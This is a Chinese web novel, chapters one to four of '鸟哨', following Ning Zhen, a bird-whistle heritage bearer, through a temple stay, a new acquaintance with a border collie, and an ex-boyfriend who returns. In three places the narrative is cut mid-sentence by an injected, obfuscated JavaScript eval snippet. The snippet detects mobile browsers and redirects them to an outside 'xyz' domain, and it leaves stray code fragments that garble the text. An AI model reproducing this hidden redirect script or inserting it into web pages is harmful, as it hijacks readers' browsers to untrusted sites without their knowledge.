《鸟哨》 1. 神灵一般的你 北城的春天很短。 温霖走在山间,与路边盛开的玉兰擦肩而过。 昨夜有雨,空气中湿冷弥漫,群花似薄雪覆在枝头,只有心蕊染了一点颜色。 寂静清冽的味道,可惜赶路者没时间驻足欣赏。 刚才,他在山下碰见旅行团。人群浩浩荡荡,乌云般倾轧过来。温霖被死死扼住了脖子,呼吸在胸口打结,手也木讷地松开。 眨眼间,牢牢握在掌心里的牵引绳消失了。 沐沐是他的伙伴和家人,他怪罪自己为什么要在那时候发病。悔意和自责推着他往上走,沿着那条唯一的山路寻觅。他穿得不够多,湿润气息钻入衣领,让衣料吸在皮肤。越来越冷,越来越暗,可他还得继续走,跑起来,一边咽下锋利的空气一边喊它的名字。 沐沐!沐沐! 他用尽力气呼喊。山谷用同样的声音回应。 群山茫茫,一眼望不到尽头。 最后,他的嗓音枯竭,而天又飘起小雨。 * 三月初,春雨淅淅沥沥。 宁蓁裹着浴巾从浴室走出来,捞起埋在枕头底下震动的手机。 屏幕显示两个字,“莫昭”。 长发湿漉漉的,水珠黏在脊背。还没来得及擦干,雨就大了,好像倾盆往她身上浇。檐角滴答淌水,敲得人心烦。窗子开着半扇,她刚要去关,眼前却冒出几抹黑影,晃得她左膝一软,慌乱中扫掉了书桌上的玻璃杯。 ——是两只斑鸠窝在窗台避雨。 玻璃碎得刺耳,盖过手机的震动,盖过雨声。 “蓁蓁!你那里什么动静啊?” 一句响亮的关切声穿破卧室房门。 “没什么,”她半跪在地,揉了揉膝盖,扯开嗓子,“杯子掉了。” “你可小心点,待会儿还得上镜呐!” 门外,女人渐渐走远。宁蓁摇晃着站起来,才发现脚踝已经被细碎的玻璃割出一道血痕。 屋内满地狼藉,她目光黯淡,收拾,梳妆,把终于安静的手机揣进包里。 再出来时,李肃已经站在家门口,胳膊挎上新皮包,高跟靴不耐烦地拍打着。 “真是大闺女上轿啊我的姑奶奶。” 她活了四十九年,半辈子都火急火燎。宁蓁瞥一眼墙上的时钟,明明才过去五分钟。 “来了来了。” 小区有年头了,石板路坑坑洼洼,二八自行车早就生锈,胡乱倚在低矮的花坛。楼底下的孟老太太常去土台子里摆弄花草,那人很孤僻,有时候,回爷爷奶奶家的小孩觉得无聊,要去揪一朵,被她挥着铁锹喊讨厌鬼。 李肃的车停在崎岖的小道。宁蓁坐上后座,开始刷短视频。 昨天他发了新内容,黑衣舞剑,行云流水。 前天,如玄鸟振翅。 上周,似狂风携月而来。 宁蓁只关注一个账号:ID为“鸰一”的动捕演员。 起初大数据推波助澜,久而久之,看他成为了习惯。他出镜时总穿动捕服,戴口罩,个子很高,柔顺短发黑得泛蓝。评论区充满尖叫,指出动作捕捉的角色出处来自不算小众的手游和3D动画。 宁蓁没仔细了解过那些。 她会关注他一部分因为名字。鹡鸰是雀形目,小小的,尾巴细长,一旦离群就急着寻找同类,但他看起来挺拔出众,像出世独行的侠客。 或者,她只是希望有人从天而降,带着剑来救她。 轿车左拐右绕开出小区。鼻尖飘着汽油味儿,宁蓁看得头晕,放下手机。 半小时后,她忍着翻江倒海的不适感下车,找向李肃住的那栋楼。 公寓门口,电视台的人还没来,高中生们却提前到了。三个女孩子穿着校服,撑起伞,扎在一堆抱成团。 “姐姐!” 她们远远看见她,跳起来挥手。宁蓁快步赶过去,脸上不自觉挂起笑容。 “没人找过你吧,你可是我们的宝藏啊宁蓁姐姐!” “这次报告别人都上网查,只有我们找到活的传承人,肯定能拿下优秀奖!” 女孩们不认生,上回见过一面,这次就主动贴到伞下挽她手臂。 她们高中布置了非物质文化遗产报告的学期任务,家长兜兜转转,联系到李肃,又找上宁蓁。 “怎么都在这儿挨冻,进家门说啊。” 后面传来催促。 一个月前,电视台希望上门拍摄素材,用于非遗系列节目,李肃没和她商量就选在自己家,还给学生们安排在同一天。 她没意见,也不希望陌生人踏进家门,但最好的情形是他们谁也别出现。 她想用刀刃割破自己的脸,这样就可以逃开镜头,可是女孩们挽住了她的手。 电梯上行,她们聊着学校和作业,不时大笑。 家里很干净,为迎接电视台特意打扫过。学生们坐在沙发上吃零食,宁蓁跑去卫生间,把门反锁,想起临走前满地的玻璃。镜子后有储物格,洗手台下是两扇柜子,她开始翻找一些尖锐的东西,但这里只有边角圆润的日用品。 宁蓁抵在门后,不想出去。 高楼上雨声渐隐。阴郁的天在外面,窗是唯一的出口。 十分钟过去,电视台的人还没来,她听见李肃拨通电话。 “您好,我们约的是下午两点吧……” “对对对……啊?这么突然……严重吗……好,那后续……” “好的,再见。” 宁蓁打开门锁。李肃站在客厅,双臂抱在胸前叹气,没有表情。 “他们今天来不了了,路上发生点小纠纷,现在去医院了。” 三个女孩面面相觑。宁蓁掐着手心的指甲终于松开。 “你们做作业吧,抓紧时间。” 李肃点燃一根烟,去了阳台。 “阿姨刚才那样好像班主任。”一个女孩小声说。 “姐姐你说像不像,”另一个女孩把话题抛过来,“阿姨以前是当老师的吧。” “她……”宁蓁皱眉,微微笑道,“我也不太清楚。” “先采访怎么样?我们准备好流程了!首先……” 梳马尾的女生腿上放好纸笔。三双眼睛透露出期待,推着宁蓁动起来。 ——“蓁蓁,再表演一次吧!” 似曾相识的目光,恍惚中,她从包里翻出那支鸟哨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071728|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哨子翠绿,是竹制的,头尾有孔,气流穿梭竹身,撞出一串清亮哨音。 草木萌芽,鸟啭莺啼。 “哇,和外面的鸟叫一模一样!” 女孩子们纷纷感叹。 “早晨听见这声音就得起床喽!” “是吗?” 宁蓁表面在笑,其实心里发抖。 上次在人前吹奏鸟哨时,她和她们一般大,也梳高马尾,穿相似的校服。已经十年了,她把那件事和鸟哨一起尘封了那么久,却仍然无法摆脱噩梦似的恐惧。 她既想逃离,又想尝试。要躲避镜头,又不愿让高中妹妹失望。 学生们准备的问题中规中矩。宁蓁绕开过去,把重点放在未来,拿出事先拟好的说辞—— “最重要的是,在科技发达的今天,这项非物质文化遗产要如何传承下去,发挥它应有的价值。” 骗人。 她宁愿自己从来都没碰过它。 过程耗时不长,二十分钟后,学生们轻轻鼓掌,宣告采访结束。宁蓁暂时解脱,独自跑去厨房。李肃抽过两根烟,与她对视一眼,转身进了卧室。那股晕车的感觉又往上涌,她撑住桌子拉开冰箱门,一口气灌下半瓶冰牛奶。 好难受。 她勉强抱着三罐果汁回去。光线黯淡,女孩子们的笑声飘到走廊。 “牺牲假期完成作业,除了我们还有谁啊?” “为了奖金嘛,马上就能给我的女儿买新衣服了。” “你就知道氪金!” “你呢,你就知道老王。” “对啊,我满脑子都是老王。等咱们拿下市级优秀奖,看他还敢不敢拒绝我。” 宁蓁面色一滞,走进客厅时却又盈满笑意。 “来,喝果汁。” 那天,她坐地铁回了家。 天气一反常态,阴雨不止不休。小区路面变得泥泞,雨水渗入砖与砖的缝隙,宁蓁躲着水坑走,上楼前瞥见孟老太太正佝偻着给她的蓝目菊撑伞。 突然,脚踝伤口发作,痛得宁蓁倒抽一口气,一时迈不开腿。正巧这功夫,孟老太太回过身,朝自己胸前扇风,好像在唤她过去。 “……我?” 宁蓁不可思议地靠近花坛。 开春有阵子了,孟老太太还穿着那件扎眼的紫色毛背心。她满头花白,眼尾被岁月压垮,眼神却晶亮。 “……福缘寺啊,姑娘。” 宁蓁没和小区里的任何人搭过话。老太太声音有些沙哑,伴随雨声飘过她耳朵。 “您说什么?” “郊区鹭山福缘寺,在招义工呐。” * 傍晚,冷空气划伤他的喉咙。 雨彻底停了,山间升起朦胧的雾。他跑得四肢僵硬,才看见玉兰丛中的人影。 万籁俱寂,只有啁啾声轻巧悦耳。在那中间,她阖目站立,双手捻住一根竹哨置于唇边。沐沐安静坐着,仰望着。鸟群降落为她的双翼,清苦气息萦绕在她眉梢,连同往日记忆一起潮水般淹没心脏。 不知道从什么时候起,北城的春天越来越短。 是你。 我终于找到你了。 2. 牵引绳 赶紧走开吧。 宁蓁默想,故意把鸟哨吹得很难听。 刚才在山间闲逛,望见玉兰树底露出一截毛绒尾巴。她小心翼翼往那儿走,发现它耳朵立着,毛发灰白相间,眼睛清透泛蓝。 ……边牧? 还是陨石边牧。 它看着宁蓁,步伐忽然静止。近处小鸟三五成群,她心脏颤了一下,抬手去拿口袋里的竹哨。 宁蓁学过各种指令。小时候,只要她用牙齿咬住竹片乱吹,小鸟就会被吓跑。 但这回再睁眼时,鸟群仍在。边牧端坐着,甚至背后多了个人。 微风渗出寒意。那人穿一身墨色,莫名像月亮的影。 “不好意思!” 他飞速上前拽起草地里的牵引绳。明明比宁蓁高上许多,目光却从低处迎上来。 “这是我的狗,下午跑丢了。” 对方没说自己找了多久。 日落,深山,神出鬼没的陌生男人。宁蓁多少心存怵惕,下意识退后两步。 唯一的变数是那只小狗。她看着他用手背抹了眼角,俯下身紧紧抱住它。 那种珍重的姿态无法伪装。“这座山那么大,万幸,你能找到。”她说。 “是啊,”他应一声,轻揉它下巴,“沐沐,去叫姐姐。” 名字是沐沐的边牧凑上来,抬头望望,嗅她的风衣下摆。 宁蓁站在原地等待。她发现那人衣服湿了,更像深浅不一的墨渍。他脸上也挂着雨水,发梢也有,滴下来悬在睫毛。小雨早就停下,但他把自己弄得湿漉漉的,分不清到底是谁走丢了。 嗅闻结束,沐沐头顶着她的腿使劲儿蹭,仿佛在说“你是个值得信任的好人”。 宁蓁忍住弯腰抚摸的冲动。 爱犬被主人揽回。他半跪在地,黑色衬衫领口松垮,露出锁骨。 “不冷吗?”她问。 他怔了一瞬,一只手合拢扣子:“往山里跑的时候还有太阳。” 在鹭山,昼与夜是两个风景。 “你从中午找到现在?” “也可能是上午,”他低着头,“记不清了。” 这种温度,裹紧风衣仍觉得冷。黯淡日光浮在云层之外,十分钟就会沉入夜色。 她微微蹙眉:“快下山吧。” 他站起来,将牵引绳绕在掌心足足三圈。“抱歉,能帮我带个路吗?” 宁蓁没说好,也没拒绝,顾自迈开步子。 没有回应是因为她决定不了。有时候,人配不上狗的忠诚。她不能对深山里的陌生男性掉以轻心,不能看他带着狗就放松警惕。 她走出玉兰树丛。远方寺庙钟声乍响,悠悠回荡在空濛群山。 一下。 两下。 第三下,古刹钟底压着几声小狗汪汪,以及几乎低不可闻的“姐姐”。 那人跑着追来,直到快要两人并肩。 宁蓁回头,耳边隐约擦过一阵丝竹之音。好像有鼓,有笙,有朝雨草色,云树遥隔。 这两年她记性差,想不起看过的画、听过的歌。刹那间,她觉得他很熟悉,也许他们曾经在哪儿见过,或者这一幕曾经在哪儿发生过。 但既视感转瞬即逝。 “天快黑了,不能一起走吗?” 他飞扬的发丝终于安分。宁蓁动摇了,躲过他的眼睛。 “我带你去寺里借一件衣服吧。”她说。 “谢谢。” 对方语中含着笑意,可她发现他冷得双手微微颤抖。 夜晚公路空旷,树叶偶尔因风翻涌,掺杂着小狗的哈气声。二人无言,偏偏口袋里的手机要打破这寂静。 来电人是李肃。宁蓁接起电话,准备接受拷问。 “在做义工,今天住宿舍,不回去了。” 对面的声调顿时升高。她犹豫片刻,目光落在沐沐的尾巴:“福缘寺,少则五天,多则……还不确定。” 李肃那边有人说话,乱哄哄的,最后又回到老话题——“等电视台的人来,你必须立刻出现。”宁蓁含糊应付两句便飞速挂断。 “在寺庙里做义工需要什么条件?” 陌生男人侧身,沐沐也往回看,好像他们都想知道。 “没什么特别的,只要专心做事。” 她才来一天,工作清闲,只负责扫院子和洗碗。义工可以参与晚课,濛濛细雨却引人往山里走。她自忖根本谈不上“专心”——说到底是为了逃避,逃开噩梦和制作组的期待。 宁蓁有点心虚。 “对了,你刚才吹的哨子……好像能吸引鸟群。”他话中有停顿。 “嗯……误打误撞。” 其实是害怕边牧扑鸟,要了它们的命。可这些年,鸟哨不再回应她,最终适得其反。 幸好沐沐很乖。 “你是学生?”为避免尴尬,她随口问。 “我毕业了,你呢,是中文系?” “不,是哲学系。” 他猜对了一半,宁蓁硕士读的创意写作,和汉语言文学沾边,但她觉得没必要透露太多。 “它多大?”她指指步伐轻快的边牧。 “快两岁了。” “真漂亮啊。” 还好有沐沐,不至于让空气陷入诡异的沉默。 二人同行,路途比来时更短。没多久,微光中显露出福缘寺的轮廓。古刹肃穆庄严,坐与青峦相立,宁蓁心里常存顾虑,觉得山门、法堂亦有能见之性,即使夜色混沌迷蒙,也将一切尽收眼底。 她悄悄与他拉开距离,拾级而上。 “师兄,我遇见客人在山里迷路,怕夜间失温,能不能借用一件衣服。” 寺里清净,宁蓁喊住过路的义工组长。对方约莫三十左右,寸头,粗嗓门,但意外很好说话。 “您随我来。” 暖光似在客堂内摇曳,门外,他们停下了,正在交谈。宁蓁远远观望,猜测他们在说什么。 也许义工组长叮嘱不能带狗进去。但他才经历一场失而复得,放不开手,于是宁愿站在寒风里等。很快,他披上组长借来的黑色棉衣,说明天就还回来。 明天…… 寥寥数语后,他转过身。夜风寒凉,宁蓁双手抱臂,移开视线,去注视酥油灯映在窗上的火光。 “谢谢,山里真的好冷。还有,我可以要一个你的……联系方式吗。” 他快速走到宁蓁眼前,微微垂首,声线清越而坚韧,音量却愈低,好像最后几个字只是在说给自己。 但是她听见了,还看到沐沐又仰头对她笑,尾巴轻巧地晃啊晃。 不知不觉,月亮悬在云端。 宁蓁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071729|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说好,拿出手机,来不及点开微信,眼中笑意忽被一簇震动阻隔。 屏幕亮起,自动弹出短信,来信人是一串未知号码,但她曾经熟稔于心。 「蓁蓁,我回来了。」 * 天光熹微,细雨惊起春日。 第二天,她五点起床,窗边有喜鹊鸣叫。 义工组暂时没有其他女孩,寮房便由她独占。晨间,宁蓁拖着惺忪睡眼,披上义工马甲飞奔到后厨。 “来,姑娘,帮我给蔬菜洗澡。”师傅搬给她一筐土豆,旁边还有豆角、冬瓜和茄子。 其他师兄都去忙些力气活儿,唯她在这里备菜。寺庙厨房古旧却干净,水流下来,冷得像冬天,但她忍耐着,把过程当作修行。 昨天那个人传来好友申请时备注了信息。“温霖”,人如其名,或者他好像就应该叫这个名字。期望与现实契合,在脑海中“咔哒”一响,接着,宁蓁想到那条黑夜里格外刺眼的短信。 她不肯接电话,于是莫昭用文字告诉她,他回来了。 时隔四年。 十指连心,手在冰水里浸得久,连心脏也隐约抽痛。 “行啦,够干净了。”旁边师傅出言提醒。 宁蓁做事细致,洗过早午饭的五六筐食材,又反复洗手,拿刀切菜。早餐是素斋,有青菜粥、馒头和滋味清淡的咸菜。寺里食不言,寝不语,用饭时斋堂一片寂静,她却还没从冰冻里缓过来,麻木的指节小心翼翼拱住碗筷。 “这位师兄。” 饭后,组长在院子里找到她。寺中不分男女老少,统称“师兄”,以表众生平等。 “午后一点左右香客上山,麻烦您去接引吧。” 山中生活纯粹,除了打坐诵经就是干活儿。下午,宁蓁结束厨房的工作,匆匆跑出山门。 福缘寺距山脚有段距离,可时间并不宽裕。她一开始跑就收不住步子,渐渐身子变得微热,低挽的马尾也松了,她怕迟到,根本顾不及去整理,终于提前五分钟抵达目的地。 山下不像香客成群的样子。公路孤零零的,三两轿车停驻在迎客松的阴影里。 宁蓁大肆呼吸,抬起眼,目光滞涩。 「路况糟糕,旅行团说他们晚点到,辛苦了。」 组长发来消息,但她无暇去看。 一辆黑色流线型跑车正对着她,占据全部视野。门从驾驶位那侧开,有人下来,是一名西装革履的男人。 宁蓁定在原地,不敢相信。 她猛然间想起那张脸。 他几乎没怎么变,五官周正,气质矜贵,只是戴了金丝眼镜,头发梳得比以前更短。时光飞逝,有些习惯却难改,以前他就喜欢用玫瑰花束当作礼物,如今仍是。 宁蓁一阵恍惚,心脏剧烈鼓动,直到他走过来抱住她也没平息。 香水味萦绕着,陌生且浓郁,令人眩晕。她下巴抵在他肩膀,视线却突然莫名清晰。 月亮的影子又出现了,在远处,抑或不算远的地方,她算不清距离。温霖正低头把一沓纸质物品扔回车子后座,沐沐高高跃起,用前爪拍他的腿,似乎反常地想要吸引注意。 “好久不见了,蓁蓁。” 耳边响起低语。在那瞬间,她发现一个秘密。 沐沐不是普通的小狗。 可是,为什么? 3. 他有病,也许吧 宁蓁第一次见莫昭是在大学二年级。 那天她抱着课本去旁听世界史讲坛。地点在礼堂,去时人还不多,她选了倒数几排的角落,没过多久,有个男人在她旁边落座,肩膀宽厚,穿着简洁的白T恤。 “同学,借一支笔,黑色就好。” 宁蓁不记得那场讲座的主题了,只记得莫昭好像用余光偏睨她。后来礼堂人满为患,各个系的都来混学分,四处潜伏着不安与躁动。她试图捉住他眼神中的证据,却屡试屡败,那个男人仅仅目视前方,看不出任何企图。 礼堂的座位是暗红色。讲座结束,莫昭加了宁蓁微信好友,却不小心带走那根碳素笔。 「忽然有事处理,走得急,忘记还你了。」 后来,她才知道他不是学校的研究生,而是学校金融课题的合伙人。莫昭大她五岁,二十五左右就成了公司副总。当时宁蓁只在心里想,即便给她额外的五年去闯荡,她也做不出那种成就。 那个学期,她频频收到礼物,有的送到宿舍楼下,有的亲自递到她手里。 “蓁蓁,又收到花啦!对了,我在停车场看见辆卡宴,是不是你男朋友的?” 室友们对八卦格外感兴趣。宁蓁急忙摆手:“他不是我男朋友……” 话音刚落,另一名室友就拎着四杯奶茶推门:“哎,快来选,是蓁蓁男友请大家喝的!” 夜晚,宁蓁坐在副驾驶位,想到室友口中的车型。 那时候她辨认不出轿车有多名贵。宽敞大路上霓虹灯闪烁,晃得眼花,然后车子逐渐开进狭窄又私密的地方。 正好,成年之后,她还没来过酒吧。 莫昭轻车熟路带她进门,里面雾色氤氲,幽晦光线缓慢旋转,勾出玻璃杯底熟透的暧昧。 酒精藏在甜味里。宁蓁不知不觉喝了很多,临走前意外打翻托盘,弄湿陌生女人的衣襟。突然,身边变得熙熙攘攘,她听不清人们嘴里有什么话,只感觉自己被密不透风地围住,像一条窒息的鱼。 “不好意思,小朋友喝醉了。” 二十岁的她正在往下倾倒。适时,男人将她揽进怀里,低沉嗓音从上方传来。 他们从那个夜晚开始在一起。 * 记忆回到现在,宁蓁心口怔忪,一把推开了他。 她还披着义工专属的黄色马甲。福缘寺坐观山下,而从商的前男友打算在这儿上演久别重逢,这场面简直怎么看怎么疯癫。 “你穿得太少了,”莫昭抱她的时候,左手掌心自然而然绕上她颈侧,“身体这么凉。” “不少。” 宁蓁冷淡回应两个字,与眼前人拉开距离。 当年两人分手后便不再联系,莫昭计划去国外发展,宁蓁甚至不清楚他最终去了哪个国家哪个城市。四年销声匿迹,直至一周前,他贸然出现,毫无征兆又断断续续地打来电话。 宁蓁从未接过。她确信这个男人早就淡出自己的生活,有时候即便刻意回忆也想不起他的长相。 “你来干什么。” 她想不通为什么莫昭能如此精准地找上门。 “来找你。太久不见,叙叙旧。” 男人抬手贴近,想帮她整理耳侧凌乱的发丝。 宁蓁再次后退,躲过他,低头解锁手机。师兄发来消息,不知道旅行团还要多久才会到。她的指尖冰冷,不小心误触到短信界面,从上到下,发件人或短或长,无一例外都是数字。 “又把我删了?”莫昭凑上前,唇边有促狭的笑意。 “不行吗。”她把反问句装进陈述的语气。 最近几天莫昭频繁打扰,宁蓁就把他移出了通讯录。但他的手机号码和他本人一样,埋伏在记忆深处,好像随时都会被诱饵勾起。 莫昭又轻笑一声,似乎有些无奈:“可以,反正我早就习惯了。” 宁蓁不知道他习惯了什么。 斜前方,隔着宽阔公路,一身墨色的那人在树荫里俯下身,让陨石边牧的前爪搭在自己肩上,掌心一遍遍捋顺它背部的柔软毛发。 树是倒过来的海,被风掀起波澜。她站在原地沉默,开始想象他们的对话。 ——“汪!” ——“好啦好啦,现在没事了,我们是安全的。” “怎么不说话?” 突然,莫昭唤回她的目光。 “嗯?你说什么。”宁蓁问。 他把玫瑰花束往前送了送:“我说,收下吧。” 她摇头,径直往温霖那里走。 “不了,寺里不让带这些东西。” 温霖的车停在角落,底下是一条坡道,漫长平缓。她走到附近,那儿有一股雨后泥土的清新,气息随着两侧树叶摇曳而流动。 他放开沐沐,抬起眼睛看她。 “来还衣服吗?我可以帮你带回去。”宁蓁微微躬身,主动开口。 他的睫毛很长,衬得所有眼神都认真专注。 “但我也想带沐沐走走,”他站起来,“我们可以一起上去。” 温霖又高又出挑。午后阳光耀眼,透过碧海的缝隙,现在,树和他的影子倾洒在她身上。 宁蓁匆匆回望,看不清那个男人的神色。 “好啊。”她笑着答应。 说罢,沐沐凑过来,抬抬狗爪,往她裤腿上印了两枚热情的梅花。它好像能辨别人类的表情,也能理解笑容意味着什么含义。 温霖打开车门去拿牵引绳,绳子是胸背式的,穿戴稍微复杂,但沐沐聪明又伶俐,与主人配合默契。宁蓁在旁边看着,无意间瞥见散落在车子后座的东西。是一封封信件,泛黄却完整,刚才他拿出来,又放回去。 “对了,我还要带香客上山,他们还没来,要先等等。” 温霖滞了一瞬:“香客……有多少人?” “大概一个旅行团。”她说。 “那我觉得他们应该会从东边来。” 他伸臂指向邻近那辆黑色跑车的地方。从郊区进山有两条路,一条是坡道,一条平坦却弯折。宁蓁不死心,远向坡下眺望,没有半分人迹。 躲来躲去最终还是要路过莫昭身边。她悄悄叹气,与温霖并肩,沐沐在前面跑得欢快,直到宽阔的公路上才高高叫喊。 “汪!汪——” 牧羊犬叫声洪亮,似乎正在表示警醒。正巧,大巴车在对面稳稳停下,游客们陆续下车。 “您好,我是福缘寺义工,负责接引香客上山。”宁蓁快步迎上,找到举着旗子的团长。 对方是个中年女人,身宽体胖,一头短卷发。“好嘞!咱们立刻出发。” 兴许觉得在佛门净地,团长没打开那个白色的扩音喇叭。但周围仍不安宁,数十名年过半百的大爷大妈吵吵嚷嚷,嗓门一个比一个大。 “噢哟,你们看看这辆车,好贵的咧!” 旅行团队伍经过莫昭的车,充分打量起来。宁蓁扭头扫了一眼,发现车子熄火,人已经消失了。 “看样子就不一般哦,是奔驰,还是宝马啦?” “你这老头子是不是只知道奔驰和宝马咯?” “哎,那倒不是,我还知道劳斯莱斯!” 身后的游客互相开着玩笑,想不听都不行。 宁蓁没有搭话。如今她二十六岁,依然认不出名车的品牌。她不知道,也不感兴趣,莫昭有钱,愿意花在那上面,他开心就好,一切都与她无关。 温霖也沉默着。沐沐走在最前方,好像主动领着浩浩荡荡的人群上山。 “啊……”眼前忽然晃过一片鸦黑色,宁蓁小声惊呼。 “怎么?” “是凤头鹀。”她仰头目送,但很快敛起视线,“凤头鹀刚才飞过去了。” 凤头鹀头颈腰尾皆为漆黑,双翼边缘和尾羽却在黑上覆了鲜栗色,羽冠纤长。 “抱歉……我没看到。”他垂着头,声音放得很低。 为什么道歉?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071730|163236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁蓁一时不知如何回应。从某一刻起,温霖就好像封闭起来,沉浸在自己的世界。她忽然联想到禽类恐惧症,有些人害怕拥有尖喙的动物,包括幼小的雀形目鸟类。 “姐姐,我……有东西落在车上了,帮我牵沐沐上去吧,我们寺里见。” 温霖递来牵引绳,宁蓁还没听清他的话,绳子就被塞在自己手中。他飞速抽身离开,敏捷利落。沐沐朝主人离去的方向大叫,似乎要狂奔而去,一股力道猛然拽着她向前,她踉跄两步,感觉绳子牵引的并非小狗,而是她自己。 “沐沐,慢点!” 昨日天寒,又逢阴雨,他已经寻觅了那么久,她更加不敢放手。 还好,沐沐是听话的。主人的片刻反常没让它失去控制,宁蓁阻止,它就收了力,乖乖站定凝望。 ——突然要狂奔,突然又像想通了什么。 尔后上山一路无虞。沐沐依然在最前方领头,后面是她和整个旅行团。山间亦有公路,左右葱郁,只是平常幽静的苍翠里翻起人声。团长和她聊天,问寺里头香火贵不贵,有没有纪念品能买。 “不贵,就五块钱。”她说,“但是还没有纪念品,寺里不大,目前香客也少。” 沐沐昨天走过一遍,熟悉了山门的石阶。旅行团队伍拉得很长,边走边歇,费了不少工夫。到院子里,换作师父和师兄接引。他们去参观、上香,香火逐渐旺盛,类似檀香的气味与袅袅白雾一同升起,反复缭绕。 宁蓁感觉沐沐稍显不安,但眼下人群混乱,她没办法放它到处嗅闻。 “我们去树底下待会儿,好不好?” 它仿佛能听懂,小步跑向院子角落的槐树底下。她心中再次莫名闪过一丝灵光,确定沐沐不是普通的小狗。 “沐沐,”宁蓁蜷起身子蹲下,尽量与它同高,“我知道你很聪明,你有特殊的职责。” 她语调放缓,柔得像水。 沐沐坐下,咧开嘴巴发出嘤嘤的声音。 “能不能告诉我,你的主人是不是有病?” 那双湛蓝的眼真诚地望着她。但她的语言显然已经超出边境牧羊犬的理解范围。 “不是那种‘有病’。我的意思是……精神,心理疾病。比如恐鸟症,有的人看见鸟类就会恐惧发作,头晕,呼吸困难,心悸,还有……” 宁蓁自顾自地解释,完全投入到对话中。 “我没有侵犯你主人隐私的意思,只是确认我的判断对不对……” 她也不清楚自己为什么要追问,也许出于天生的好奇,也许想寻找同类。树下难得清静,背后则人来人往。沐沐慢慢眼光上移,不知道是看见了香炉宝鼎,还是上面燃起的虔诚。 “什么病。” 清冽男声自斜上方来,蓦然加入这场交流。宁蓁掌心冒出薄汗,略带赧然,不可思议地转过身去。 她蹲在地上对沐沐讲话,而温霖站在日光里。 他微微抬眉,眼中带笑,深处却藏着难以捉摸的困惑。 “你们……在说我?” * 当晚,女子寮房终于等来第二名客人。 后厨师傅说今夜活儿多,宁蓁自觉做了错事,甘愿留在那里默默工作。回去时已经很晚,正撞上新来的义工扛着行李进门。 寮房内有四张床,上下铺,新人选了宁蓁旁边的位置,隔一个过道。 她心里有些忐忑。硕士时念的本地学校,住在家里,如今她得重新学会和别人共享同一间房。 “晚上好,明天一起工作。” 对方爽快打了招呼,拉开行李箱抖落出床上用品。 “特意选了离市区最远的庙,结果竟然这么多人,山底下还看见一辆卡宴,也不知道谁那么有闲情逸致。” 宁蓁身体僵直,坐在床沿,仿佛回到大学宿舍。 明明都过去了,彼时的记忆却疯狂倒灌,在一次又一次闪回中穷追不舍。 “那是……我的初恋。” 4. 谁的初恋 往事阴濛潮湿,心里话洇到唇边,她却没能阻止。 新室友拎着床单转了头,目瞪口呆。 言多必失。这是她今天犯的第二个错。 幸而宁蓁有一副淡漠外壳,皮囊生得冷清,又独来独往,哭和笑都敛着,让人琢磨不透。方才说那句话时,她也如往常般兴致阑珊,好像完全置身事外。 “呃……” 炫耀什么啊,原本就客套两句,谁真在乎你们这些癫公癫婆的破事儿? 女孩刚要出言嘲弄,可看见那张脸,又动动喉咙咽了回去。 “哦,对了,还没自我介绍。” “寺里……可以互称师兄的。”她胸口憋闷,下意识说。 萍水相逢之人往往心怀戒备。所以他们不轻易向彼此透露信息,只要义工马甲披在身上,姓名、年龄、身份就都被抹去。 “了解,不过我不喜欢。”她大方回应,“我叫安唯,安全的安,唯一的唯。” 安唯留着短发,眉眼凌厉冷酷,笑起来却相反,带着点儿可爱的憨气。 宁蓁喜欢她的名字,安全,唯一。 “小唯。”片刻沉默后,她试探道,“我是宁蓁,宁愿的宁,蓁是草字头,底下一个秦晋的秦。” “桃之夭夭,其叶蓁蓁……”安唯略经思索,念起《诗经》桃夭篇,“那就喊你蓁蓁吧!” 宁蓁轻轻笑应,身子回暖,庆幸新室友没再深究自己那句关于“初恋”的鬼话。 寮房不多时熄了灯,她躺在床上,用手按住眉心。 今天做了太多错事,从对着沐沐胡言乱语……不,应该说从答应下山接引旅行团开始。温霖或许有恐鸟症,但她为什么非得问他的狗?他把牵引绳给她,交付信任,可她唐突,失礼,而且莫名其妙。她闭上眼就看见他那时候的神情,逆着光,眼尾稍弯,似乎觉得好笑,又显出几分清澈的懵然。 羞耻感爬上腰侧。 ……算了。 宁蓁自暴自弃地想。 反正他也不一定是什么好人,张口就喊“姐姐”,那么亲昵,好像谁特意要求似的。 她翻过身,难以入眠。对面那张床亮着,安唯还没睡,像在宿舍熬夜冲浪的大学生。 宁蓁也悄悄拿出手机,指尖游走在屏幕,最后落到短视频app。 默默关注的动捕演员有新作品。 这次,他会飞。庞大的机械道具束缚住腰肢,让执剑侠客在半空闪转腾挪。他的身体有紧张的轻盈感,以遒劲力道支撑起飘逸姿态,举重若轻,仿佛飞翔已经成为本能。 